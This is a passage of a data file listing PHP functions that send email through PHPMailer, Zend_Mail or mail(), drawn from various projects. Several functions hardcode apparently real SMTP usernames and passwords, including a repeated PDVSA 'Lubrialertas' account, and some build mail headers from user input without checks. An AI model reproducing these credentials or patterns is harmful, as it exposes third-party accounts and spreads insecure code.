GUSER;\n\t\t$mail->Password = GPWD;\n\t\t$mail->SetFrom($de, $de_nome);\n\t\t$mail->Subject = $assunto;\n\t\t$mail->Body = $corpo;\n\t\t$mail->AddAddress($para);\n\t\tif(!$mail->Send()) {\n\t\t\t$error = 'Mail error: '.$mail->ErrorInfo; \n\t\t\treturn false;\n\t\t} else {\n\t\t\t$error = 'Mensagem enviada!';\n\t\t\treturn true;\n\t\t}\n\t}", "public function sendMailMuestrasListasAsesor($nombre,$email,$solicitud){\n\t\t\t\t\n\t\t//include('includes/class.phpmailer.php');\n\t\t\t \t\n\t \t$mail = new phpmailer();\n \t\n\t\n \t\t$mail->PluginDir = \"\";\n \n \n\t \t//Con la propiedad Mailer le indicamos que vamos a usar un \n\t \t//servidor smtp\n \t\t$mail->Mailer = \"smtp\";\n\n \t\t//Asignamos a Host el nombre de nuestro servidor smtp\n \t\t$mail->Host = \"ccschucor01.pdvsa.com\";\n \n \t\t//Le indicamos que el servidor smtp requiere autenticación\n \t\t$mail->SMTPAuth = true;\n \t\t$mail->CharSet = \"UTF-8\";\n\n \t\t//Le decimos cual es nuestro nombre de usuario y password\n \t\t$mail->Username = \"[email protected]\"; \n \t\t$mail->Password = \"LUBRIALERTASPOOL\";\n \n \t\t//Indicamos cual es nuestra dirección de correo y el nombre que \n \t\t//queremos que vea el usuario que lee nuestro correo\n \n \t\t$mail->From = \"[email protected]\";\n \n \t\n \t\t$mail->FromName = \"Lubrialertas\"; \n \n \t\t$mail->Timeout=30;\n \n\n \t\t$mail->Body = '\n\t\t\tPDVSA - Lubrialertas\n\t\t\tAnalisis de Lubricantes PDVSA\n\t\t';\n\n\t\t$nombre= self::GetQuitarAcentos($nombre);\n\t\t\n\t\t$mail->Body.= '\n\t\t\tEstimad@ '.$nombre.'\n\t\t\t\n\t\t\t\tEl sistema ha detectado que todas las muestras de la solicitud '.$solicitud.' han sido\n\t\t\t\trecomendadas, puede ingresar al sistema lubrialertas para verificar la información\n\t\t\t\tde las muestra(s) que pertenezcan a la solicitud.\n\t\t\t\n\t\t';\n\t\t\n\t\t//Indicamos cual es la dirección de destino del correo\n\t\t$mail->AddAddress($email);\n\t\t$mail->AddAddress($email);\n\t\t\n\t\t//Asignamos asunto y cuerpo del mensaje\n\t\t$mail->Subject = \"Información Solicitudes - Solicitud Recomendada\";\n\t\t\n\t\t\n\t\t//se envia el mensaje, si no ha habido problemas \n\t \t//la variable $exito tendra el valor true\n \t\t$exito = $mail->Send();\n\n \t\t//Si el mensaje no ha podido ser enviado se realizaran 4 intentos mas como mucho \n \t\t//para intentar enviar el mensaje, cada intento se hara 5 segundos despues \n\t\t//del anterior, para ello se usa la funcion sleep \n \n \t\t$intentos=1; \n \t\twhile ((!$exito) && ($intentos < 5)) {\n \tsleep(5);\n //echo $mail->ErrorInfo;\n $exito = $mail->Send();\n $intentos=$intentos+1; \n \n \t}\n \n \n \tif(!$exito){\n \t\t//echo \"Problemas enviando correo electrónico a \".$valor;\n\t \techo \"<br>\".$mail->ErrorInfo; \n\t }\n \telse{\n \t //echo \"Mensaje enviado correctamente\";\n\t\t\t}\n\t}", "public function sendMail(){\n $mail = new PHPMailer();\n $mail->IsSMTP();\n $mail->CharSet = $this->charset;\n $mail->Host = $this->host;\n $mail->SMTPAuth= $this->SMTPAuth;\n $mail->Port = $this->port;\n $mail->Username= $this->account;\n $mail->Password= $this->password;\n $mail->SMTPSecure = $this->SMTPSecure;\n $mail->From = $this->from;\n $mail->FromName= $this->from_name;\n $mail->isHTML($this->isHTML);\n $mail->Subject = $this->subject;\n $mail->Body = \"{$this->saudacao}<p>{$this->msg}</p>\";\n $mail->addAddress($this->to);\n if(!$mail->send()){\n return array('erro' => true, 'description' => \"O email para {$this->to} não foi enviado. Contendo o seguinte conteúdo: {$this->msg}\");\n }else{\n return array('erro' => false, 'description' => \"O email para {$this->to} foi enviado com sucesso. Contendo o seguinte conteúdo: {$this->msg}\");\n }\n }", "function enviarEmail($emailDestinatario, $nomeDestinatario, $assunto, $corpo)\n{\n $retorno = false;\n try {\n // Instancia a classe PHPMailer com as credenciais do email:\n $mail = new PHPMailer(true);\n $mail->isSMTP();\n $mail->Host = 'smtp.gmail.com';\n $mail->SMTPAuth = true;\n $mail->SMTPSecure = 'tls';\n $mail->Username = get_credenciais('email_usuario');\n $mail->Password = get_credenciais('usuario_senha');\n $mail->Port = 587;\n $mail->CharSet = 'UTF-8';\n\n // email do remetente e nome do remetente\n $mail->setFrom('[email protected]', \"Rober Z Guerra\");\n \n // Email do Destinatario, nome do destinatario\n $mail->addAddress($emailDestinatario, $nomeDestinatario);\n $mail->isHTML(true);\n // Assunto do email\n $mail->Subject = $assunto;\n // Corpo do email\n $mail->Body = $corpo;\n\n $retorno = $mail->send();\n\n } catch (Exception $e) {\n echo \"Erro ao enviar email:\";\n echo $e->getMessage();\n }\n \n return $retorno;\n}", "public function sendMailMuestrasListas($nombre,$email,$solicitud){\n\t\t\t\t\n\t\tinclude('includes/class.phpmailer.php');\n\t\t\t \t\n\t \t$mail = new phpmailer();\n \t\n\t\n \t\t$mail->PluginDir = \"\";\n \n \n\t \t//Con la propiedad Mailer le indicamos que vamos a usar un \n\t \t//servidor smtp\n \t\t$mail->Mailer = \"smtp\";\n\n \t\t//Asignamos a Host el nombre de nuestro servidor smtp\n \t\t$mail->Host = \"ccschucor01.pdvsa.com\";\n \n \t\t//Le indicamos que el servidor smtp requiere autenticación\n \t\t$mail->SMTPAuth = true;\n \t\t$mail->CharSet = \"UTF-8\";\n\n \t\t//Le decimos cual es nuestro nombre de usuario y password\n \t\t$mail->Username = \"[email protected]\"; \n \t\t$mail->Password = \"LUBRIALERTASPOOL\";\n \n \t\t//Indicamos cual es nuestra dirección de correo y el nombre que \n \t\t//queremos que vea el usuario que lee nuestro correo\n \n \t\t$mail->From = \"[email protected]\";\n \n \t\n \t\t$mail->FromName = \"Lubrialertas\"; \n \n \t\t$mail->Timeout=30;\n \n\n \t\t$mail->Body = '\n\t\t\tPDVSA - Lubrialertas\n\t\t\tAnalisis de Lubricantes PDVSA\n\t\t';\n\n\t\t$nombre= self::GetQuitarAcentos($nombre);\n\t\t\n\t\t$mail->Body.= '\n\t\t\tEstimad@ '.$nombre.'\n\t\t\t\n\t\t\t\tEl sistema ha detectado que todas las muestras de la solicitud '.$solicitud.' han sido\n\t\t\t\trecomendadas, puede ingresar al sistema lubrialertas para verificar la información\n\t\t\t\tde las muestra(s) que pertenezcan a la solicitud.\n\t\t\t\n\t\t';\n\t\t\n\t\t//Indicamos cual es la dirección de destino del correo\n\t\t$mail->AddAddress($email);\n\t\t$mail->AddAddress($email);\n\t\t\n\t\t//Asignamos asunto y cuerpo del mensaje\n\t\t$mail->Subject = \"Información Solicitudes - Solicitud Recomendada\";\n\t\t\n\t\t\n\t\t//se envia el mensaje, si no ha habido problemas \n\t \t//la variable $exito tendra el valor true\n \t\t$exito = $mail->Send();\n\n \t\t//Si el mensaje no ha podido ser enviado se realizaran 4 intentos mas como mucho \n \t\t//para intentar enviar el mensaje, cada intento se hara 5 segundos despues \n\t\t//del anterior, para ello se usa la funcion sleep \n \n \t\t$intentos=1; \n \t\twhile ((!$exito) && ($intentos < 5)) {\n \tsleep(5);\n //echo $mail->ErrorInfo;\n $exito = $mail->Send();\n $intentos=$intentos+1; \n \n \t}\n \n \n \tif(!$exito){\n \t\t//echo \"Problemas enviando correo electrónico a \".$valor;\n\t \techo \"<br>\".$mail->ErrorInfo; \n\t }\n \telse{\n \t //echo \"Mensaje enviado correctamente\";\n\t\t\t}\n\t}", "public function sendMailSolicitudHecha($cliente, $email_cliente, $direccion, $telefono, $transporte, $contacto, $email_transporte, $cantidad_muestras, $cod_sol){\n\t\t\t\t\n\t\tinclude('includes/class.phpmailer.php');\n\t\t\n\t \t$mail = new phpmailer();\n \t\n\t\n \t\t$mail->PluginDir = \"\";\n \n \n\t \t//Con la propiedad Mailer le indicamos que vamos a usar un \n\t \t//servidor smtp\n \t\t$mail->Mailer = \"smtp\";\n\n \t\t//Asignamos a Host el nombre de nuestro servidor smtp\n \t\t$mail->Host = \"ccschucor01.pdvsa.com\";\n \n \t\t//Le indicamos que el servidor smtp requiere autenticación\n \t\t$mail->SMTPAuth = true;\n \t\t$mail->CharSet = \"UTF-8\";\n\n \t\t//Le decimos cual es nuestro nombre de usuario y password\n \t\t$mail->Username = \"[email protected]\"; \n \t\t$mail->Password = \"LUBRIALERTASPOOL\";\n \n \t\t//Indicamos cual es nuestra dirección de correo y el nombre que \n \t\t//queremos que vea el usuario que lee nuestro correo\n \n \t\t$mail->From = \"[email protected]\";\n \n \t\n \t\t$mail->FromName = \"Lubrialertas\"; \n \n \t\t$mail->Timeout=30;\n \n\n \t\t$mail->Body = '\n\t\t\tPDVSA - Lubrialertas\n\t\t\tAnálisis de Lubricantes PDVSA\n\t\t';\n\n\t\t$contacto= self::GetQuitarAcentos($contacto);\n\t\t$direccion= self::GetQuitarAcentos($direccion);\n\t\t$cliente= self::GetQuitarAcentos($cliente);\n\t\t\n\t\t$mail->Body.= '\n\t\t\t\tEstimad@ '.$contacto.' de '.$transporte.'\n\t\t\t\tEl cliente de DELTAVEN \"'.$cliente.'\" tiene una solicitud bajo el codigo \"'.$cod_sol.'\" cantidad de '.$cantidad_muestras.' muestras, para ser enviadas al laboratorio de INTEVEP.\n\t\t\t\tEl cliente se encuentra ubicado en la siguiente dirección:\n\t\t\t\t'.$direccion.'\n\t\t\t\tPara cualquier otra información que necesite puede contactar a '.$cliente.' por medio de:\n\t\t\t\tTeléfono: '.$telefono.'\n\t\t\t\tEmail:'.$email_cliente.'\n\t\t';\n\t\t\n\t\t//Indicamos cual es la dirección de destino del correo\n\t\t$mail->AddAddress($email_transporte);\n\t\t\n\t\t//Asignamos asunto y cuerpo del mensaje\n\t\t$mail->Subject = \"Muestras Deltaven Para Envio de \".$cliente;\n\t\t\n\t\t\n\t\t//se envia el mensaje, si no ha habido problemas \n\t \t//la variable $exito tendra el valor true\n \t\t$exito = $mail->Send();\n\n \t\t//Si el mensaje no ha podido ser enviado se realizaran 4 intentos mas como mucho \n \t\t//para intentar enviar el mensaje, cada intento se hara 5 segundos despues \n\t\t//del anterior, para ello se usa la funcion sleep \n \n \t\t$intentos=1; \n \t\twhile ((!$exito) && ($intentos < 5)) {\n \tsleep(5);\n //echo $mail->ErrorInfo;\n $exito = $mail->Send();\n $intentos=$intentos+1; \n \n \t}\n \n \n \tif(!$exito){\n \t\t//echo \"Problemas enviando correo electrónico a \".$valor;\n\t \techo \"<br>\".$mail->ErrorInfo; \n\t }\n \telse{\n \t //echo \"Mensaje enviado correctamente\";\n\t\t\t}\n\t\n\t}", "function enviar()\n\t{\n\t\t//Se obtiene la configuración del SMTP\n\t\t$this->datos_configuracion = $this->get_datos_configuracion_smtp();\n\t\tif (! isset($this->desde)) {\n\t\t\t$this->desde = $this->datos_configuracion['from'];\n\t\t}\n\n\t\t//Construye y envia el mail\n\t \t$mail = new PHPMailer();\n\t \t$mail->IsSMTP();\n\t \tif ($this->debug) {\n\t \t\t$mail->SMTPDebug = 2;\n\t \t}\n\t\t$mail->Timeout = $this->timeout;\n\t\t$host = trim($this->datos_configuracion['host']);\n\t\tif (isset($this->datos_configuracion['seguridad']) && trim($this->datos_configuracion['seguridad']) != '') {\n\t\t\tif ($this->datos_configuracion['seguridad'] == 'ssl') {\n\t\t\t\tif (! extension_loaded('openssl')) {\n\t\t\t\t\tthrow new toba_error('Para usar un SMTP con encriptación SSL es necesario activar la extensión \"openssl\" en php.ini');\n\t\t\t\t}\n\t\t\t}\n\t\t\t$mail->SMTPSecure = $this->datos_configuracion['seguridad'];\n\t\t}\n\n\t\tif (isset($this->datos_configuracion['puerto']) && trim($this->datos_configuracion['puerto']) != '') {\n\t\t\t$mail->Port = $this->datos_configuracion['puerto'];\n\t\t}\n\t\t$mail->Host = trim($host);\n\t\tif (isset($this->datos_configuracion['auth']) && $this->datos_configuracion['auth']) {\n\t\t\t$mail->SMTPAuth = true;\n\t\t\t$mail->Username = trim($this->datos_configuracion['usuario']);\n\t\t\t$mail->Password = trim($this->datos_configuracion['clave']);\n\t\t}\n\n //Habilita la encripcion por defecto de la capa de transporte si el server provee el mecanismo.\n $mail->SMTPAutoTLS = (isset($this->datos_configuracion['auto_tls']) && $this->datos_configuracion['auto_tls'] == 1);\n\t\tif (isset($this->datos_configuracion['nombre_from']) && trim($this->datos_configuracion['nombre_from']) != '') {\n\t\t\t$this->desde_nombre = $this->datos_configuracion['nombre_from'];\n\t\t}\n\t\tif (isset($this->desde_nombre)){\n\t\t\t$mail->setFrom($this->desde, $this->desde_nombre);\n\t\t} else {\n\t\t\t$mail->setFrom($this->desde, $this->desde);\n\t\t}\n\n //Alterno entre mail de prueba y destino oficial\n if (isset($this->datos_configuracion['destino_prueba']) && trim($this->datos_configuracion['destino_prueba']) != '') {\n $mail->AddAddress(trim($this->datos_configuracion['destino_prueba']));\n } else {\n $mail->AddAddress($this->hacia);\n //Agrego copias\n foreach($this->cc as $copia) {\n $mail->AddCC($copia);\n }\n //Agrego copias ocultas\n foreach($this->bcc as $copia) {\n $mail->AddBCC($copia);\n }\n }\n\t\t//Direccion de respuesta\n\t\tif (isset($this->reply_to)) {\n\t\t\t$mail->AddReplyTo($this->reply_to);\n\t\t}\n\n\t\tif (isset($this->confirmacion)) {\n\t\t\t$mail->ConfirmReadingTo = $this->confirmacion;\n\t\t}\n\n\t\t$mail->Subject = $this->asunto;\n\t\t$mail->Body = $this->cuerpo;\n\t\t$mail->IsHTML($this->html);\n\t\t$temporales = array();\n\t\t$dir_temp = toba::proyecto()->get_path_temp();\n\t\tforeach (array_keys($this->adjuntos) as $id_adjunto) {\n\t\t\t$archivo = tempnam($dir_temp, 'adjunto');\n\t\t\tfile_put_contents($archivo, $this->adjuntos[$id_adjunto]['archivo']);\n\t\t\t$temporales[] = $archivo;\n\t\t \t$tipo = $mail->_mime_types($this->adjuntos[$id_adjunto]['tipo']);\n\t\t\t$mail->AddAttachment($archivo, $this->adjuntos[$id_adjunto]['nombre'], 'base64', $tipo);\n\t\t}\n\n\t\t$exito = $mail->Send();\n\t\ttoba::logger()->debug(\"Enviado mail con asunto {$this->asunto} a {$this->hacia}\");\n\n\t\t//Elimina los temporales creado para los attachments\n\t\tforeach ($temporales as $temp) {\n\t\t\tunlink($temp);\n\t\t}\n\t\tif (!$exito) {\n\t\t\ttoba_logger::instancia()->error(\"Imposible enviar mail. Mensaje de error: {$mail->ErrorInfo}\");\n\t\t\tthrow new toba_error('Imposible enviar mail, revise el log.');\n\t\t}\n\n\t}", "function enviarEmail($destinatario,$asunto,$cuerpo) {\r\n\r\n\r\n\t# Defina el número de e-mails que desea enviar por periodo. Si es 0, el proceso por lotes\r\n\t# se deshabilita y los mensajes son enviados tan rápido como sea posible.\r\n\tdefine(\"MAILQUEUE_BATCH_SIZE\",0);\r\n\r\n\t//para el envío en formato HTML\r\n\t//$headers = \"MIME-Version: 1.0\\r\\n\";\r\n\t\r\n\t// Cabecera que especifica que es un HMTL\r\n\t$headers = 'MIME-Version: 1.0' . \"\\r\\n\";\r\n\t$headers .= 'Content-type: text/html; charset=iso-8859-1' . \"\\r\\n\";\r\n\t\r\n\t//dirección del remitente\r\n\t$headers .= utf8_decode(\"From: GUSTAVO OMAR AVILA - PROCOMEX <[email protected]>\\r\\n\");\r\n\t\r\n\t//ruta del mensaje desde origen a destino\r\n\t$headers .= \"Return-path: \".$destinatario.\"\\r\\n\";\r\n\t\r\n\t//direcciones que recibirán copia oculta\r\n\t$headers .= \"Bcc: [email protected]\\r\\n\";\r\n\t\r\n\tmail($destinatario,$asunto,$cuerpo,$headers); \t\r\n}", "function mail() {\n try {\n Mailer::setConfig(\n array(\n \"mailServer\" => \"simka.websitewelcome.com\",\n \"mailUser\" => \"[email protected]\",\n \"mailPassword\" => \"Sandman316\"\n )\n );\n\n // Simplemente configuramos cada dato del email\n // Remitente\n Mailer::$from = '[email protected]';\n // Destinatario\n Mailer::$to = '[email protected]';\n // Asunto\n Mailer::$subject = 'Cuenta creada en miasombrosositio.com';\n // Mensaje\n Mailer::$message = 'Tu cuenta ha sido creada!';\n // Indicamos si el mensaje es php ( true or false )\n Mailer::$html = true;\n\n // Mandamos el mensaje con send\n Mailer::send();\n } catch ( Exception $ex ) {\n print_r( $ex );\n } // end try catch\n }", "public function sendMailSolicitudesporRecomendar($email,$contacto,$cliente){\n\t\t\t\t\t\n\t\tinclude('includes/class.phpmailer.php');\n\t\t\n\t \t$mail = new phpmailer();\n \t\n\t\n \t\t$mail->PluginDir = \"\";\n \n \n\t \t//Con la propiedad Mailer le indicamos que vamos a usar un \n\t \t//servidor smtp\n \t\t$mail->Mailer = \"smtp\";\n\n \t\t//Asignamos a Host el nombre de nuestro servidor smtp\n \t\t$mail->Host = \"ccschucor01.pdvsa.com\";\n \n \t\t//Le indicamos que el servidor smtp requiere autenticación\n \t\t$mail->SMTPAuth = true;\n \t\t$mail->CharSet = \"UTF-8\";\n\n \t\t//Le decimos cual es nuestro nombre de usuario y password\n \t\t$mail->Username = \"[email protected]\"; \n \t\t$mail->Password = \"LUBRIALERTASPOOL\";\n \n \t\t//Indicamos cual es nuestra dirección de correo y el nombre que \n \t\t//queremos que vea el usuario que lee nuestro correo\n \n \t\t$mail->From = \"[email protected]\";\n \n \t\n \t\t$mail->FromName = \"Lubrialertas\"; \n \n \t\t$mail->Timeout=30;\n \n\n \t\t$mail->Body = '\n\t\t\tPDVSA - Lubrialertas\n\t\t\tAnalisis de Lubricantes PDVSA\n\t\t';\n\n\t\t$contacto= self::GetQuitarAcentos($contacto);\n\t\t$cliente= self::GetQuitarAcentos($cliente);\n\t\n\t\t$mail->Body.= '\n\t\t\tEstimad@ '.$contacto.' \n\t\t\tEl sistema Lubrialertas ha detectado que existen nuevos certificados emitidos por PDVLIMS/SIGELAB\n\t\t\tpara los resultados pendientes por recomendacion.\n\n\t\t\tMuchas gracias por utilizar Lubrialertas\n\t\t';\n\t\t\n\t\t//Indicamos cual es la dirección de destino del correo\n\t\t$mail->AddAddress($email);\n\t\t\n\t\t//Asignamos asunto y cuerpo del mensaje\n\t\t$mail->Subject ='Recomendaciones pendientes para el cliente '.$cliente;\n\t\t\n\t\t\n\t\t//se envia el mensaje, si no ha habido problemas \n\t \t//la variable $exito tendra el valor true\n \t\t$exito = $mail->Send();\n\n \t\t//Si el mensaje no ha podido ser enviado se realizaran 4 intentos mas como mucho \n \t\t//para intentar enviar el mensaje, cada intento se hara 5 segundos despues \n\t\t//del anterior, para ello se usa la funcion sleep \n \n \t\t$intentos=1; \n \t\twhile ((!$exito) && ($intentos < 5)) {\n \t sleep(5);\n //echo $mail->ErrorInfo;\n $exito = $mail->Send();\n $intentos=$intentos+1; \n \n \t}\n \n \n \tif(!$exito){\n \t//\techo \"Problemas enviando correo electrónico a \".$valor;\n\t // \techo \"<br>\".$mail->ErrorInfo; \n\t }\n \telse{\n \t// echo \"Mensaje enviado correctamente\";\n\t\t}\n\t\t\t$mail->ClearAddresses();\n\n\t}", "public function enviardocalmailAction()\n {\n $documento_id = $this->_getParam('documento_id');\n \n /* Desactivo el auto renderizado */\n $this->disableAutoRender();\n\n try {\n\n /* Me aseguro que exista el pdf */\n $rutaDocs = $this->_config->general->rutaDocs;\n $filePdfDoc = \"{$rutaDocs}$documento_id.pdf\";\n \n if(!file_exists($filePdfDoc)) {\n throw new Exception('No existe el PDF para enviar por correo');\n }\n \n /* Envío mail con el doc. que acaba de firmar */\n $emailUsuario = trim($this->_usuario->email);\n $mensaje = \"Se adjunta su documento firmado. <BR><BR>\n <b>Identificador en el Sistema: $documento_id </b> <br><br>\n <b>Nota:</b> NO RESPONDA A ESTE CORREO. Ha sido generado de forma automática por el Sistema.\n \";\n $nombreSistema = $this->_config->general->siglas; \n \n /* Preparo el archivo a adjuntar */\n $attachment = new Zend_Mime_Part(file_get_contents($filePdfDoc));\n $attachment->type = 'application/pdf';\n $attachment->disposition = Zend_Mime::DISPOSITION_ATTACHMENT;\n $attachment->encoding = Zend_Mime::ENCODING_BASE64;\n $attachment->filename = $documento_id; \n /* Fin: Preparo el archivo a adjuntar */\n \n try {\n\n $this->seteaMail(); \n $mail = new Zend_Mail();\n\n $mail->setBodyHtml(utf8_decode($mensaje))\n ->setFrom($this->_emailAdmin,\"$nombreSistema\")\n ->setReplyTo($emailUsuario, 'Usuario')\n ->addTo(\"$emailUsuario\", \"$nombreSistema\")\n ->addAttachment($attachment)\n ->setSubject(utf8_decode(\"Mensaje desde: $nombreSistema\"))\n ->send();\n\n } catch(Exception $ex) {\n throw new Exception(\"Error al enviar correo: \". $ex->getMessage()); \n }\n \n /* Fin de: Envío mail */\n \n } catch (Exception $ex) {\n\n $message = $ex->getMessage();\n echo 'error|' . $message;\n }\n \n }", "function send_mail($item){\n $mail = new PHPMailer;\n $mail->setFrom('[email protected]', 'Website administrator');\n //Set an alternative reply-to address\n $mail->addReplyTo($item['email'], $item['name']);\n //Set who the message is to be sent to\n $mail->addAddress('[email protected]');\n //Set the subject line\n $mail->isHTML(true);\n $mail->CharSet = 'UTF-8';\n $mail->Subject = 'Contact sent from website';\n //Read an HTML message body from an external file, convert referenced images to embedded,\n //convert HTML into a basic plain-text alternative body\n //$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__));\n //Replace the plain text body with one created manually\n $mail->Body = '\n <html>\n <head>\n \t<title>'.$mail->Subject.'</title>\n </head>\n <body>\n \t<p>Full Name: '.$item['name'].'</p>\n \t\n \t<p>Address: '.$item['adds'].'</p>\n \t<p>Phone: '.$item['phone'].'</p>\n \t\n \t<p>Email: '.$item['email'].'</p>\n <p>Tiêu Đề: '.$item['fax'].'</p>\n \t<p>Content: '.nl2br($item['content']).'</p>\n </body>\n </html>\n ';\n //Attach an image file\n //$mail->addAttachment('images/phpmailer_mini.png');\n \n //send the message, check for errors\n //$mail->send();\n if ($mail->send()) {\n echo \"Message sent!\";\n } else {\n echo \"Mailer Error: \" . $mail->ErrorInfo;\n }\n }", "function mailConfirmaPersona($datos=null){\t\t\t\n\t\t\t\t$mail = new PHPMailer;\n\t\t\t\t\t$mail->isSMTP();\n\t\t\t\t\t$mail->SMTPDebug = 0;\n\t\t\t\t\t$mail->Debugoutput = 'html';\n\t\t\t\t\t$mail->Host =@$this->config->item('anfitrion');\n\t\t\t\t\t$mail->Port =@$this->config->item('puerto');\n\t\t\t\t\t$mail->Username =@$this->config->item('usuario');\n\t\t\t\t\t$mail->Password =@$this->config->item('clave');\n\t\t\t\t\t$mail->SMTPAuth = true;\n\t\t\t\t\t$mail->SMTPSecure = 'ssl';\n\t\t\t\t\t$mail->setFrom(@$this->config->item('correoSistema'),utf8_decode(@$this->config->item('usuarioSistema')));\n\t\t\t\t\t$mail->addReplyTo(@$this->config->item('correoSistema'),utf8_decode(@$this->config->item('usuarioSistema')));\n\t\t\t\t$mail->addAddress($datos['correoUsuario']);\t\t\t\t\n\t\t\n\t\t\t\t$subject = utf8_decode('Confirmación, ANALISIS');\n\t\t\t\t$pagina=\"<a style='color:#4257F9' href='\".@$this->config->item('enlaceSistema').\"'>\".\"www.madeinbarter.com</a>\".\"<br><br>\";\n\t\t\t\t\t$mensaje = \"<h3> Estimado/a, \n\t\t\t\t\t\t\t\t<br>\".utf8_encode($datos['nombresUsuario']).\"<br><br>\n\t\t\t\t\t\t\t\tSu registro fue exitoso<br> \n\t\t\t\t\t\t\t\t<br>E_mail: \".$datos['correoUsuario'].\"<br>\".\"Puede Ingresar en la siguiente p&aacute;gina: \".$pagina;\n\t\t\t\t\t$mail->Subject = $subject;\n\t\t\t\t\t$mail->msgHTML($mensaje);\t\n\t\t\t\t\tif (!$mail->send()) {\n\t\t\t\t\t\treturn 1;\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn 0;\n\t\t\t\t\t}\t\t\n\t}", "function sendMail($assunto,$mensagem,$remetente,$nomeRemetente,$destino,$nomeDestino,$reply = NULL,$replyNome = NULL){\n\n\t\t\trequire_once('mail/class.phpmailer.php'); //Include pasta/classe do PHPMailer\n\n\t\t\t$mail = new PHPMailer(); //STARTS CLASSE\n\t\t\t$mail->IsSMTP(); //HABILITA ENVIO SMTP\n\t\t\t$mail->SMTPAuth = TRUE; //ATIVA EMAIL AUTENTICADO\n\t\t\t$mail->IsHTML(TRUE); //AQUI DETERMINAMOS QUE PODEMOS UTILIZAR HTML NO ENVIO DOS EMAILS\n\n\t\t\t$mail->Host = MAILHOST; //SERVIDOR DE ENVIO\n\t\t\t$mail->Port = MAILPORT; //PORTA DE ENVIO\n\t\t\t$mail->Username = MAILUSER; //EMAIL PARA SMTP AUTENTICADO\n\t\t\t$mail->Password = MAILPASS; //PORTA DE ENVIO\n\n\t\t\t$mail->From = utf8_decode($remetente); //REMETENTE\n\t\t\t$mail->FromName = utf8_decode($nomeRemetente); //REMETENTE NOME\n\n\t\t\t// CONDICAO PARA CHAMAR EMAIL DE RESPOSTA\n\t\t\tif ($reply != NULL) {\n\t\t\t\t$mail->AddReplyTo(utf8_decode($reply),utf8_decode($replyNome));\n\t\t\t}\n\t\t\t\n\t\t\t$mail->Subject = utf8_decode($assunto); //ASSUNTO\n\t\t\t$mail->Body = utf8_decode($mensagem); //MENSAGEM echo '<span>Erro ao enviar email. Por favor entre em contato pelo e-mail [email protected]!</span>';\n\t\t\t$mail->AddAddress(utf8_decode($destino),utf8_decode($nomeDestino)); //EMAIL E NOME DESTINO echo '<span>Mensagem enviada com sucesso! Obrigado.</span>';\n\n\t\t\tif($mail->Send()){\n\t\t\t return TRUE;\n\t\t\t}else{\n\t\t\t return FALSE;\n\t\t\t}\n\t\t}", "public function envia(){\n\t // require_once APPPATH.'third_party/PHPMailerAutoload.php';\n\n\t $this->load->library(\"phpmailer_library\");\n $mail = $this->phpmailer_library->load();\n\n\t date_default_timezone_set('Etc/UTC');\n\t $mail->isSMTP();\n\t $mail->SMTPDebug = 2;\n\t $mail->Debugoutput = 'html';\n\t $mail->Host = \"mail.oopp.gob.bo\";\n\t $mail->Port = 25;\n\t $mail->SMTPAuth = true;\n\t $mail->Username = \"[email protected]\";\n\t $mail->Password = \"6753182\";\n\t $mail->setFrom('[email protected]', 'Marco Demo');\n\t $mail->addAddress('[email protected]', 'Edwin');\n\t $mail->Subject = 'Esta es la prueba de que envia';\n\t $mail->Body = 'Este es el cuerpo';\n\t $mail->AltBody = 'Este es el mensaje';\n\t if (!$mail->send()) {\n\t echo \"Mailer Error: \" . $mail->ErrorInfo;\n\t } else {\n\t echo \"Mensaje enviado!\";\n\t }\n\n\t\t//$this->load->library('PHPMailerAutoload');\n\t}", "function enviar_contacto(){\n $this->asignar_ingreso();\n $nombre_sede = $this->sede;\n\n $resultado = $this->datoSede($nombre_sede);\n $cuerpo =\"<img src='http://prevaler.diazcreativos.net.ve/imagenes/PREVALER.png' /><br /><br />\n\t\t<u>Datos de Entrada:</u><br />\";\n $cuerpo .=\"<br />\";\n $cuerpo .= \"<strong>Nombre Completo: </strong>\".utf8_decode($this->nombre).\"<br />\" ;\n $cuerpo .= \"<strong>Número de telefono: </strong>\".$this->telefono.\"<br />\" ;\n $cuerpo .= \"<strong>E-mail: </strong>\".$this->email.\"<br />\" ;\n $cuerpo .= \"<strong>Mensaje: </strong>\".$this->comentario.\"<br />\";\n $cuerpo .= \"<br />\";\n $cuerpo .= \"---- Fin ----\";\n $cuerpo .= \"<br />\";\n $subject= \"Contacto Web Prevaler\";\n $subject2= \"Contacto Web Prevaler\";\n $basemailfor=$resultado['email_sede'];\n //$basemailfor=\"[email protected]\";\n $basemailfrom = $this->email;\n $respuesta =\"<img src='http://prevaler.diazcreativos.net.ve/imagenes/PREVALER.png' /><br />\n\t\t<strong>Saludos Sr(a).: $this->nombre $this->apellido</strong><br /><br />\n\t\tNosotros hemos recibido su mensaje, nuestro departamento de atención al cliente le responderá lo más pronto posible<br />\n\t\tGracias por contactar a Prevaler.<br />\n\t\tPrevaler<br /><br />\n\t\tTel&eacute;fonos: <br/>\n\t\t\".$resultado['telefono_sede'].\"<br />\n\t\tTwitter: <a href='https://twitter.com/Prevaler_VE'>@Prevaler_VE</a><br />\n\t\tInstagram: <a href='https://www.instagram.com/prevaler_ve/'>@prevaler_ve</a><br />\n\t\t\".$resultado['email_sede'].\"\n\t\t<br /><br />\n\t\tAtentamente,<br />\n\t\tClínica Prevaler.\";\n $this->mensaje=\"<strong>&iexcl;Excelente!</strong> Su Mensaje ha sido enviado exitosamente.\";\n\n $mail = new PHPMailer();\n $mail->From = $basemailfrom;\n $mail->FromName = utf8_decode($subject);\n $mail->AddAddress($basemailfor, $this->nombre.\" \".$this->apellido);\n $mail->Subject = utf8_decode($subject);\n $mail->Body = $cuerpo;\n $mail->AltBody = $cuerpo;\n $exito = $mail->Send();\n\n $mail2 = new PHPMailer();\n $mail2->From = $basemailfor;\n $mail2->FromName = utf8_decode($subject2);\n $mail2->AddAddress($basemailfrom, $this->nombre.\" \".$this->apellido);\n $mail2->Subject = utf8_decode($subject2);\n $mail2->Body = $respuesta;\n $mail2->AltBody = $respuesta;\n $exito = $mail2->Send();\n }", "public function enviar($msg)\n {\n /*\n $obj_mail = new PHPMailer();\n $obj_mail->Mailer = \"smtp\";\n //$obj_mail->Host = \"mail.inatec.edu.ni\";\n\n $obj_mail->From = \"INATEC\";\n $obj_mail->FromName = \"INATEC - SERVICIOS EN LINEA - DESARROLLO\";\n $obj_mail->Timeout = 30;\n\n $obj_mail->AddAddress(\"[email protected]\");\n $obj_mail->Subject = \"Error en el Sistema\";\n $obj_mail->Body = $msg;\n $obj_mail->IsHTML(true);*/\n\n // 